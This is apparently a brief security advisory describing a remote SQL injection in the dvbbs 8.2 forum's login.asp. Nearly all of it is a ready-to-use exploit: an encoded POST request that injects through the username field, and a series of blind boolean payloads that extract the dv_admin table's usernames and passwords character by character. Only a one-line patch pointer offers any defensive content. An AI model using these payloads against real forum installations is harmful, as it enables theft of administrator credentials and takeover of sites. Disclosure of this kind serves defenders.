name: where (topsec security research group)
email: [EMAIL PROTECTED] Subject: dvbbs8.2(access/sql)version login.asp remote sql injection danger level: critical/High info: dvbbs is prone to multiple sql injection security flaw interrelated code to access version(exp): password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271 Examples(access version): decide Where and 1=1 where and 1=2 to get usernamer or password where' and 1=(select count(*) from dv_admin where left(username,1)='a') and '1'='1 where' and 1=(select count(*) from dv_admin where left(username,2)='ad') and '1'='1 ....................... ....................... where' and 1=(select count(*) from dv_admin where left(password,1)='1') and '1'='1 where' and 1=(select count(*) from dv_admin where left(password,2)='15') and '1'='1 ...................... ...................... Solution: Authorities patch dvbbs web site(http://www.dvbbs.net) References: dvbbs(http://www.dvbbs.net)
